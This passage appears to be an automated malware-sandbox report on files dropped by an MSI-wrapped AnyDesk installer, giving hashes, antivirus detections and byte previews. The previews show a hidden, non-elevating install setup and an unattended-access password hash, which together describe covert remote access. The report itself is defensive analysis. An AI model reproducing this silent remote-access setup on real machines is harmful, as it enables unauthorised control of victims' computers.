SHA1:	0E5D4E26427190E07495FCC5FBFE46A20C07FCAA
SHA-256:	4E120EA4CAECD70BF796C634FA2278FAF0BA5424406D1AA367957210B666644A
SHA-512:	BC5EF736EC71E6940422240523978D6B918B5747AE30437188757458DDA415B02FB9CD61B208C59C5B89991D0557E4BEE4FE6ABB61BBBC3D63C0A5C733326571
Malicious:	false
Preview:	ad.anynet.fpr=ad8fec6ce2ea9587309c50b97175d8ed639a9f09.ad.anynet.relay.fatal_result=1.0.ad.anynet.relay.state=0.ad.security.frontend_clipboard=1.ad.security.frontend_clipboard_files=1.ad.security.frontend_clipboard_version=1.ad.security.permission_profiles._default.permissions.sas=1.ad.security.permission_profiles._unattended_access.permissions.sas=1.ad.security.permission_profiles._unattended_access.pwd=29a3bbba8f6029c5e4ab4fe97081df7dfcfd6458966ad8df64e9a620697bfd59.ad.security.permission_profiles._unattended_access.salt=a3a4ac0604db119fa69085484617bf37.ad.security.permission_profiles.version=1.ad.security.update_channel=stable.ad.security.update_type=0.

C:\System Volume Information\SPP\OnlineMetadataCache\{13f380d2-c95e-45d3-8b58-ce3c6d9cc4c1}_OnDiskSnapshotProp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	3048
Entropy (8bit):	3.694456222285318
Encrypted:	false
SSDEEP:	48:2QzaN38RN3x0/7wP8aZntCwL7feGp9bHfOIgbR1fOIgBKEBKRC6v6ReyZ:2QzI4uU/vfHzbOHXOHB9BpiW
MD5:	5F246453E47299A07D8C949665C8A0FE
SHA1:	5B341BA26C94F782A34C5523FAC302B7BCD3411A
SHA-256:	2EA3134921D1CD1F5E95079CE163D36DE1351A6361410967016DC69F0291F419
SHA-512:	DE72396CF4181BAC60E006E18A83519A9B3DF6E56FFACAAEDF9308CD8C4717B9E520DCACEE735803663DB6F661C5E5E04647B1443B73CFA474307AFC75C0CA28
Malicious:	false
Preview:	.D.....M..,....c.Pc<.......................^..E.X.<m...8.......@..5...........M..0.<fK...; ...............................$.......8...Q.......Q...I.n.s.t.a.l.l.e.d. .A.n.y.d.e.s.k. .-. .U.N.R.E.G.I.S.T.E.R.E.D. .-. .W.r.a.p.p.e.d. .u.s.i.n.g. .M.S.I. .W.r.a.p.p.e.r. .f.r.o.m. .w.w.w...e.x.e.m.s.i...c.o.m.................C.:.\.W.i.n.d.o.w.s.\...............1.7.9.6.0.5.................W.O.R.K.G.R.O.U.P.......Zi.A.@.H..i.tE<.....................).(?..P............. ...2.......2...\.\.?.\.V.o.l.u.m.e.{.8.0.4.9.f.1.9.8.-.1.0.1.6.-.1.1.e.7.-.b.8.7.b.-.8.0.6.e.6.f.6.e.6.9.6.3.}.\...............C.:.\...........N).A.j..j...............(...0.......,...2.......2...\.\.?.\.V.o.l.u.m.e.{.8.0.4.9.f.1.9.8.-.1.0.1.6.-.1.1.e.7.-.b.8.7.b.-.8.0.6.e.6.f.6.e.6.9.6.3.}.\.......4...............(.C.:.).........<...@...D...H...L...P...T...X...\...`...d...h...l...p...t...x...\|.......%.......%...A.d.o.b.e. .A.c.r.o.b.a.t. .R.e.a.d.e.r. .D.C. .1.9...0.1.0...2.0.0.9.8.....).......)...A.d.o.b.e. .F.l.a.s.h. .P.l.

C:\System Volume Information\SPP\metadata-2

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	SysEx File - Twister
Category:	dropped
Size (bytes):	8734472
Entropy (8bit):	3.681659655459525
Encrypted:	false
SSDEEP:	12288:+8+YgDYEzT4G09wYKc9rMjG/BWigr7dCKV0/HwLQt+Y/g4zsuAvm7gPI+PhgcIrd:d0jYY8BWitXZh7TeQsPIy1YQza
MD5:	9CC465911CDBD0BFC8D7BFC74ECCE88B
SHA1:	867E1C21ADBC08A0BC12B1ED50F59EB3A78EC23F
SHA-256:	BA671D105C6C5A76B5B2D369E12887BCF3C729CFCF34F222A6DB2D4FF3AA666E
SHA-512:	04D495AC9EBEDC50F9FF325912A19A31B00A54EB0FA99830FBB6B1CBFB1847A21447BE699FE42AD45F80842E1D672F44FAEA0C38519CFEFAB4C86547106CDCF0
Malicious:	false
Preview:	.%..=..J.....>.(_kb..............F...................... ...Y.......Y...<.B.A.C.K.U.P._.C.O.M.P.O.N.E.N.T.S. .x.m.l.n.s.=.".x.-.s.c.h.e.m.a.:.#.V.s.s.C.o.m.p.o.n.e.n.t.M.e.t.a.d.a.t.a.". .v.e.r.s.i.o.n.=.".1...2.". .b.o.o.t.a.b.l.e.S.y.s.t.e.m.S.t.a.t.e.B.a.c.k.u.p.=.".y.e.s.". .s.e.l.e.c.t.C.o.m.p.o.n.e.n.t.s.=.".y.e.s.". .b.a.c.k.u.p.T.y.p.e.=.".f.u.l.l.". .p.a.r.t.i.a.l.F.i.l.e.S.u.p.p.o.r.t.=.".y.e.s.". .s.n.a.p.s.h.o.t.S.e.t.I.d.=.".1.3.f.3.8.0.d.2.-.c.9.5.e.-.4.5.d.3.-.8.b.5.8.-.c.e.3.c.6.d.9.c.c.4.c.1.".>.<.W.R.I.T.E.R._.C.O.M.P.O.N.E.N.T.S. .i.n.s.t.a.n.c.e.I.d.=.".4.5.8.b.f.6.d.0.-.9.8.7.c.-.4.5.2.7.-.b.7.b.9.-.5.d.4.0.5.2.4.a.2.1.2.4.". .w.r.i.t.e.r.I.d.=.".e.8.1.3.2.9.7.5.-.6.f.9.3.-.4.4.6.4.-.a.5.3.e.-.1.0.5.0.2.5.3.a.e.2.2.0.". .b.a.c.k.u.p.S.c.h.e.m.a.=.".0.".>.<.C.O.M.P.O.N.E.N.T. .c.o.m.p.o.n.e.n.t.N.a.m.e.=.".S.y.s.t.e.m. .F.i.l.e.s.". .c.o.m.p.o.n.e.n.t.T.y.p.e.=.".f.i.l.e.g.r.o.u.p."./.>.<./.W.R.I.T.E.R._.C.O.M.P.O.N.E.N.T.S.>.<.W.R.I.T.E.R._.C.O.M.P.O.N.E.N.T.S. .i.

C:\System Volume Information\SPP\snapshot-2

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	3048
Entropy (8bit):	3.694456222285318
Encrypted:	false
SSDEEP:	48:2QzaN38RN3x0/7wP8aZntCwL7feGp9bHfOIgbR1fOIgBKEBKRC6v6ReyZ:2QzI4uU/vfHzbOHXOHB9BpiW
MD5:	5F246453E47299A07D8C949665C8A0FE
SHA1:	5B341BA26C94F782A34C5523FAC302B7BCD3411A
SHA-256:	2EA3134921D1CD1F5E95079CE163D36DE1351A6361410967016DC69F0291F419
SHA-512:	DE72396CF4181BAC60E006E18A83519A9B3DF6E56FFACAAEDF9308CD8C4717B9E520DCACEE735803663DB6F661C5E5E04647B1443B73CFA474307AFC75C0CA28
Malicious:	false
Preview:	.D.....M..,....c.Pc<.......................^..E.X.<m...8.......@..5...........M..0.<fK...; ...............................$.......8...Q.......Q...I.n.s.t.a.l.l.e.d. .A.n.y.d.e.s.k. .-. .U.N.R.E.G.I.S.T.E.R.E.D. .-. .W.r.a.p.p.e.d. .u.s.i.n.g. .M.S.I. .W.r.a.p.p.e.r. .f.r.o.m. .w.w.w...e.x.e.m.s.i...c.o.m.................C.:.\.W.i.n.d.o.w.s.\...............1.7.9.6.0.5.................W.O.R.K.G.R.O.U.P.......Zi.A.@.H..i.tE<.....................).(?..P............. ...2.......2...\.\.?.\.V.o.l.u.m.e.{.8.0.4.9.f.1.9.8.-.1.0.1.6.-.1.1.e.7.-.b.8.7.b.-.8.0.6.e.6.f.6.e.6.9.6.3.}.\...............C.:.\...........N).A.j..j...............(...0.......,...2.......2...\.\.?.\.V.o.l.u.m.e.{.8.0.4.9.f.1.9.8.-.1.0.1.6.-.1.1.e.7.-.b.8.7.b.-.8.0.6.e.6.f.6.e.6.9.6.3.}.\.......4...............(.C.:.).........<...@...D...H...L...P...T...X...\...`...d...h...l...p...t...x...\|.......%.......%...A.d.o.b.e. .A.c.r.o.b.a.t. .R.e.a.d.e.r. .D.C. .1.9...0.1.0...2.0.0.9.8.....).......)...A.d.o.b.e. .F.l.a.s.h. .P.l.

C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files.cab

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Microsoft Cabinet archive data, 3811024 bytes, 1 file
Category:	dropped
Size (bytes):	3811024
Entropy (8bit):	7.999935868582085
Encrypted:	true
SSDEEP:	98304:bvXhd7YjjTcLO6KnQh5YUNa/ckQGQCWijuYAHwO:bzkTciIYUNuNCAuPHD
MD5:	223FA9756FCE44168ABD5DB7AFA03FAD
SHA1:	2E8BFC88819353490EC4C201445DC004FA9AAFF5
SHA-256:	A929C064C064A1B5013B8FBCE01FEB7AE08E6BD9B05106DCDA8320F9DB0FB13D
SHA-512:	0EFE5917995E6EE837AADBB9951AD1F7BCADFA9638DE747B219E6A9BBE53FD586118A291776C6FF1C0416B3B439DADB0336AE61E74B1E6D12E9A38F11DAC33EC
Malicious:	false
Preview:	MSCF.....&:.....,...............~...H...v.....:........T.p .install.exe.....W..[.....H..."T.#..m...U.e..p..n.I:....h<d.r)R.+.-[...y/c..1..x.w...>..."...TI1[(........5.H......F..j.....}}K......O....%...o".Pj/M2Io..t.....B/Z...Bk.........8..,jA.rI`..rr....I#)R...5?I...h.........C..L...S.fP$..$H.D4..iq6....4.......kq.........#...!X....+.C......-p-.'..Od...lY...E...!.A..'..qY.%l........6....1.......~.}.4....{."...e.(/M^,N..x\|d.../..@.,.Wb..I.j..]D'....T..w..Y_...*.{............R.-.......r...;..)...f..!/.:....l+.t5....V...Q+.Q.#.I..@..k...Q..'(...T\.7...A.'?..K....b_.o.[...w......\|............r.7...."].ys.P.N.....o.K7.......{..(.y3..o..I............wp.....w.^.]..g.n.;lp.$..p......p^......=r.R.LH...{....\|..^=..ZM2....n.L...$...S.......<E`.7o.{-MX.U,.t..I.7..[.<.IH...T..A......Y=._V..0...4h........([.%W_..,{.?.#.C.s]..<Q]Q...AM...w.....S.!.B.q....vR.V>..l..#....+%..X.m&}.d-.<.'$..6.{......!.`..%....ZF.`{.u.P....mZ4...H.........J3h)....(..0(...2..

C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\$dpx$.tmp\eee52229ee24a34cb61191d27a7b66f1.tmp

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3837440
Entropy (8bit):	7.998303388385036
Encrypted:	true
SSDEEP:	98304:dDFWG1bqjvcLIsoh5GbmkNC3dv2tthJ2/Ev6l3:d7svcsImkN4chYECl
MD5:	8C42AB81F90EE0592F7A709F0F7E320B
SHA1:	6656C6CA4611245CDA44958BAB84866196C9D95B
SHA-256:	BEB6182CEAB6EA0B0FDC0F41F8069632317E0F941419B75EDE4145593CD6A21C
SHA-512:	57A444D1B03DCD428EB386E5551137DF5B7D401AC39F5B3481DAD6A94C7A95C3DD90B638532EFDD813C293CF4F949ED4461424FA940410F2D59E2DFDD88CA5EA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 64%, Browse Antivirus: Metadefender, Detection: 22%, Browse Antivirus: ReversingLabs, Detection: 65%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......*r..n...n...n.......q....3..o.......o...Richn...........................PE..L.....b.....................\|:.....$........ ....@...........................:......m;.....................................p ..P....@...p:.......................................................................... ..l............................text...z........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc....p:..@...r:.................@..@........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe (copy)

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3837440
Entropy (8bit):	7.998303388385036
Encrypted:	true
SSDEEP:	98304:dDFWG1bqjvcLIsoh5GbmkNC3dv2tthJ2/Ev6l3:d7svcsImkN4chYECl
MD5:	8C42AB81F90EE0592F7A709F0F7E320B
SHA1:	6656C6CA4611245CDA44958BAB84866196C9D95B
SHA-256:	BEB6182CEAB6EA0B0FDC0F41F8069632317E0F941419B75EDE4145593CD6A21C
SHA-512:	57A444D1B03DCD428EB386E5551137DF5B7D401AC39F5B3481DAD6A94C7A95C3DD90B638532EFDD813C293CF4F949ED4461424FA940410F2D59E2DFDD88CA5EA
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 64%, Browse Antivirus: Metadefender, Detection: 22%, Browse Antivirus: ReversingLabs, Detection: 65%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......*r..n...n...n.......q....3..o.......o...Richn...........................PE..L.....b.....................\|:.....$........ ....@...........................:......m;.....................................p ..P....@...p:.......................................................................... ..l............................text...z........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc....p:..@...r:.................@..@........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\msiwrapper.ini

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	1426
Entropy (8bit):	3.650455137438292
Encrypted:	false
SSDEEP:	24:udX8DW8XjsjToZkESrFEqNbH+qNbH4yDqNbHgO+sD+n:uYg1JFxNvNE7Nxyn
MD5:	F03B2CD5999D483E566FED5D7E1BD078
SHA1:	EBC636C000806FBCD93952B3B4BFB97BF281E2F9
SHA-256:	36CCB8B1213585E1CD56DEF34AC141DD8653AA0050A0C4105FA4C285AC3CC084
SHA-512:	83690F70DCD916684C0CBE302A35C96909D31D6C6D06F0BE6950D59ACE0B834EC69021B851E9C30A0B594A5DA7044EBA3F0CADD0417FA588DCE148AFB921E1C6
Malicious:	false
Preview:	W.r.a.p.p.e.d.A.p.p.l.i.c.a.t.i.o.n.I.d.=.A.n.y.D.e.s.k...W.r.a.p.p.e.d.R.e.g.i.s.t.r.a.t.i.o.n.=.H.i.d.d.e.n...I.n.s.t.a.l.l.S.u.c.c.e.s.s.C.o.d.e.s.=.0...E.l.e.v.a.t.i.o.n.M.o.d.e.=.n.e.v.e.r...B.a.s.e.N.a.m.e.=.i.n.s.t.a.l.l...e.x.e...C.a.b.H.a.s.h.=.a.9.2.9.c.0.6.4.c.0.6.4.a.1.b.5.0.1.3.b.8.f.b.c.e.0.1.f.e.b.7.a.e.0.8.e.6.b.d.9.b.0.5.1.0.6.d.c.d.a.8.3.2.0.f.9.d.b.0.f.b.1.3.d...S.e.t.u.p.P.a.r.a.m.e.t.e.r.s.=...W.o.r.k.i.n.g.D.i.r.=...C.u.r.r.e.n.t.D.i.r.=..S.O.U.R.C.E.D.I.R....U.I.L.e.v.e.l.=.5...F.o.c.u.s.=.y.e.s...S.e.s.s.i.o.n.D.i.r.=.C.:.\.U.s.e.r.s.\.A.l.b.u.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.M.W.-.4.a.7.5.4.4.4.8.-.1.3.7.2.-.4.b.6.2.-.a.f.7.7.-.6.f.1.6.5.0.2.4.6.a.5.a.\...F.i.l.e.s.D.i.r.=.C.:.\.U.s.e.r.s.\.A.l.b.u.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.M.W.-.4.a.7.5.4.4.4.8.-.1.3.7.2.-.4.b.6.2.-.a.f.7.7.-.6.f.1.6.5.0.2.4.6.a.5.a.\.f.i.l.e.s.\...R.u.n.B.e.f.o.r.e.I.n.s.t.a.l.l.F.i.l.e.=...R.u.n.B.e.f.o.r.e.I.n.s.t.a.l.l.P.a.r.a.m.e.t.e.r.s.=...R.u.n.A.f.t.e.r.I.n.

C:\Users\user\AppData\Local\Temp\~DF0154135B388C6B07.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.06743406194521226
Encrypted:	false
SSDEEP:	6:2/9LG7iVCnLG7iVrKOzPLHKOv+eHmNfftCVky6lh1:2F0i8n0itFzDHFv+eGBTj
MD5:	F6D7E066F3F3BFE6E80C388A8E80530D
SHA1:	4113DA23B498529E7D373BB6B15C511E6215CBF0
SHA-256:	6FD79F05C77A1C8CB5D73B1FEC2B16E09273E029DDC196F24115C57178C7D1EC
SHA-512:	AB982CEEAEF2E1D690BC761C129EC387C4919BCF910513387D9D46111FDD9768F66E1CD46311FD169BD1122356DE71964590DE087B06A8BA966216EA7736E464
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF49DA8C305B58D2AD.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	0.12990324508728232
Encrypted:	false
SSDEEP:	24:Ojd8vdOQCwY+8JfAebfddipV7sddipVlVIwGVlrkg9Syve+QG:I8virfddSBsddSH2rjeNG
MD5:	DAEC78D92F1DF6670EB07754808C3ECC
SHA1:	F59648041B22EC5BFE871E08EDB40278B85A5BD2
SHA-256:	8DCAE1DCF7F1AA8B3F96C78805593524994AA603C611E6B9523CBCB93A774354
SHA-512:	FC8D121F8B877528B6E902869E931A74F88097870B8F0CD66213F9F3ACC8A431619EAD27D45DD4EE75B79CE77BB414E641FCC0A495C0B67A1FE900FB36B5183B
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFFAFE55FFC650FC61.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\AnyDesk\ad.trace

Download File

Process:	C:\ProgramData\anydesk.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	10515
Entropy (8bit):	4.228344603555986
Encrypted:	false
SSDEEP:	96:EtFBqt1tNtFZmKJ4FgzgFN5mj4b515wvOQ8kQVQbQWttAhDFhttFCxxv:0wPHFcKFjw9ksQNttvxV
MD5:	C4D40B6620A5E49C215BFB0C04D9FA94
SHA1:	84C02E79A8DD2CEA191AF99341F2271A6139DC48
SHA-256:	1604100784E9D590149D5221F7F4318AFAE913A22EA07F6EA461F8D215EDFA25
SHA-512:	06F4EE0DFFB5231F59327920110B48566C4B6FFA35FEC1113F84CE1FAE0C932ACD07F01E2AEA022FF7DDE2A5601C2391B6333E0FFCC2B4B8D7F1DC270F03E154
Malicious:	false
Preview:	* * * * * * * * * * * * * * * * * .. info 2022-08-06 01:23:23.745 installer 2640 2428 main - AnyDesk Windows Startup .. info 2022-08-06 01:23:23.745 installer 2640 2428 main - Version 7.0.7 (release/win_7.0.x 96f8d80eac273a9144abccce2f66dbc2200cc81d).. info 2022-08-06 01:23:23.745 installer 2640 2428 main - * Custom Client (no ID).. info 2022-08-06 01:23:23.745 installer 2640 2428 main - .. info 2022-08-06 01:23:23.745 installer 2640 2428 main - Process started at 2022-08-06. PID 2640. OS is Windows 7 (64 bit).. info 2022-08-06 01:23:23.745 installer 2640 2428 impl_selector - using sse2 (intrinsics)..warning 2022-08-06 01:23:23.745 installer 2640 2428 terminator - All clear!.. info 2022-08-06 01:23:23.745 installer

C:\Users\user\AppData\Roaming\AnyDesk\user.conf

Download File

Process:	C:\ProgramData\anydesk\AnyDesk.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	4.272230203413794
Encrypted:	false
SSDEEP:	24:snKoXHZgCJg2cZ0FmienKoX1M61n0Q17/iMQBbSI:sn1j2genMa0CHQBbSI
MD5:	BB28C065F16674CB7688B72C683EC985
SHA1:	2D7E18B400398CDC33A387C315D434C9FFDA0CB0
SHA-256:	FE5DD9BE649AB519A47659B151A2607AC623179F150765C399B1EF0C7A90F82E
SHA-512:	6995413F415F6D708254C0BD6388B397B181B6BAF28B3D9182E50404556CBC8C38AB0CED5A2A93550DA5FBD2EDBC7945E3E2F24AD0358FBC00A3494A7040DD4E
Malicious:	false
Preview:	ad.invite.created_list_encrypted=6fa74c609a01f31f1f670668df954f4642a4aae8018a18da425960b3eca6f8f4a1ec65a7e7bb22120bf648310f1fa2df0b53d2e90e4e008262013ecaea920fe5fd03c1aa69649c8b8b7110ec222522013f23dfea2c5de548b20a73a9d414c27374ab0862b47b212f41cf5778b89cca6521ac5f446f5a2ffbbe9811a458492e39926770649a38e9721366902a51645470f0d9e8a0d72bdda1c667dc1fbaea3cca74dd806804e91cbf13cfc3d8e58bf6cc1ef38cac7e2c3206610342c063879a2bdf13cf19bf043a5ac522ccccbbc23a319d59a30a59c069535a7b8f54c7cdf18ddd032a16d9ee.ad.invite.received_list_encrypted=6fa74c609a01f31f1f670668df954f4642a4aae8018a18da425960b3eca6f8f4a1ec65a7e7bb22120bf648310f1fa2df0b53d2e90e4e008262013ecaea920219e161c9e6f996ad5835c58dfc95d32660f8f91a7ceb734bd5c905f6e04db3c27374ab0862b47b212f41cf5778b89c037c550169499eb92f75a169d19422002633e9f784bb1abb9c7461a00b08edbb5470f0d99f57071e94afc197f90cdd3c896084ac806804e96c7ac9eb148905cb1bf54d6113d0c1ffff947be9e29fdf46c726ed7608deda5eebf876a0049476f5d19458050a6ce61fb3fbce38819f06f911de17a54117d6af.ad.ui.lang=

C:\Windows\Installer\78c341.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Code page: 1252, Title: Anydesk - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com 0.7.0.0, Subject: Anydesk - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com, Author: Anydesk, Keywords: Installer, Template: Intel;1033, Revision Number: {8CB27BF3-59BC-4419-BE15-E9E385453F27}, Create Time/Date: Thu Feb 18 21:32:30 2021, Last Saved Time/Date: Thu Feb 18 21:32:30 2021, Number of Pages: 200, Number of Words: 2, Name of Creating Application: MSI Wrapper (10.0.50.0), Security: 2
Category:	dropped
Size (bytes):	4063232
Entropy (8bit):	7.978539254164263
Encrypted:	false
SSDEEP:	98304:pp+vXhd7YjjTcLO6KnQh5YUNa/ckQGQCWijuYAHw:+zkTciIYUNuNCAuPH
MD5:	6CF5AD7A7D1B7BAB0C62E246CF41A985
SHA1:	B06A03ADC550EAD96534F5E723395C4E16BFDF44
SHA-256:	FB9F0BF2B71BF576053C56CB913EA4E93581FC9D3AA9D6D8A0AE572A1622F050
SHA-512:	46CD8BD1EAD75A8ADB7D5BFF81A2FDC04567D462E965664F6F9F796237839F07F74D2201C3DA8F7F37C9DFC45749ED88708DB5A216D84F7AC146E5AF58A8608E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\78c342.ipi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5498517775518001
Encrypted:	false
SSDEEP:	24:J7rFC/llm6cpmUHCpVluqo+QG0/rddipVlVIwGVlrkg9SCddipV7eJfAebpQCwYi:1r0pcDHoluzNG0zddSH2rbddSBerF8v
MD5:	14F8EB017B55B6EFBBC74E949581F9F7
SHA1:	E9B5537C29E22FAC2A7535C766579710CC901AC4
SHA-256:	486813FA64D996C93CB8251845F093C0F26C0277ACFF9C06004DE34EB825CFBE
SHA-512:	E9222151D1E201A06F39CBFFE9F786F968B45226DBDFEA99A0DC6746820247D23AEEB74312277BBF40B060ADDDF7734E70527CE824C55DB32A55D637012202DA
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\78c344.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Code page: 1252, Title: Anydesk - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com 0.7.0.0, Subject: Anydesk - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com, Author: Anydesk, Keywords: Installer, Template: Intel;1033, Revision Number: {8CB27BF3-59BC-4419-BE15-E9E385453F27}, Create Time/Date: Thu Feb 18 21:32:30 2021, Last Saved Time/Date: Thu Feb 18 21:32:30 2021, Number of Pages: 200, Number of Words: 2, Name of Creating Application: MSI Wrapper (10.0.50.0), Security: 2
Category:	dropped
Size (bytes):	4063232
Entropy (8bit):	7.978539254164263
Encrypted:	false
SSDEEP:	98304:pp+vXhd7YjjTcLO6KnQh5YUNa/ckQGQCWijuYAHw:+zkTciIYUNuNCAuPH
MD5:	6CF5AD7A7D1B7BAB0C62E246CF41A985
SHA1:	B06A03ADC550EAD96534F5E723395C4E16BFDF44
SHA-256:	FB9F0BF2B71BF576053C56CB913EA4E93581FC9D3AA9D6D8A0AE572A1622F050
SHA-512:	46CD8BD1EAD75A8ADB7D5BFF81A2FDC04567D462E965664F6F9F796237839F07F74D2201C3DA8F7F37C9DFC45749ED88708DB5A216D84F7AC146E5AF58A8608E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI5B7A.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	428024
Entropy (8bit):	6.5173927188942296
Encrypted:	false
SSDEEP:	12288:stJRQ+gjpjegLyo8ktJRQ+gjpjegLyo8J:stBcpVLSktBcpVLSJ
MD5:	9069E5D699573FA8DE65F4D66FC36782
SHA1:	3F6D828772867E2708F4491DE44C57FE3987F931
SHA-256:	7F7DDF73140A3568819DE6AC422D2B42A76856FE96C2A658AF531ADB3BBD9B33
SHA-512:	C7614A19E126273A7464F16EF3470C4B4CE459119CBC489DE9DCDDDC5DBE2057AAAE77D551F8C26A9EB59E2FEAB373C1C565921379564EFF9ED4CE85EDF9717C
Malicious:	false
Preview:	...@IXOS.@.....@...U.@.....@.....@.....@.....@.....@......&.{AC4583F8-6694-473E-BB77-32CDFC9BA940}F.Anydesk - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com..1.msi.@.....@.....@.....@........&.{8CB27BF3-59BC-4419-BE15-E9E385453F27}.....@.....@.....@.....@.......@.....@.....@.......@....F.Anydesk - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{EDE10F6C-30F4-42CA-B5C7-ADB905E45BFC}?.02:\SOFTWARE\EXEMSI.COM\MSI Wrapper\Installed\AnyDesk\LogonUser.@.......@.....@.....@........bz.LateInstallFinish1....J...bz.LateInstallFinish1.@.......@..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............p...p...p.......p.....p..../.p.......p...q.%.p.......p.....p.....p.Rich..p.........................PE..

C:\Windows\Installer\MSI5BE8.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	212992
Entropy (8bit):	6.513444216841171
Encrypted:	false
SSDEEP:	3072:AspAtOdmXwCGjtYNKbYO2gjpcm8rRuqpjCLw2loHUvU4yGxr53qM2a8:2tOdiRQYpgjpjew5LLyGx1qo8
MD5:	4CAAA03E0B59CA60A3D34674B732B702
SHA1:	EE80C8F4684055AC8960B9720FB108BE07E1D10C
SHA-256:	D01AF2B8C692DFFB04A5A04E3CCD0D0A3B2C67C8FC45A4B68C0A065B4E64CC3D
SHA-512:	25888848871286BDD1F9C43A0FBA35640EDB5BAFBE0C6AA2F9708A070EA4E5B16745B7C4F744AE4F5643F75EF47F196D430BF70921ED27715F712825EC590A34
Malicious:	false
Antivirus:	Antivirus: Virustotal, Detection: 0%, Browse Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
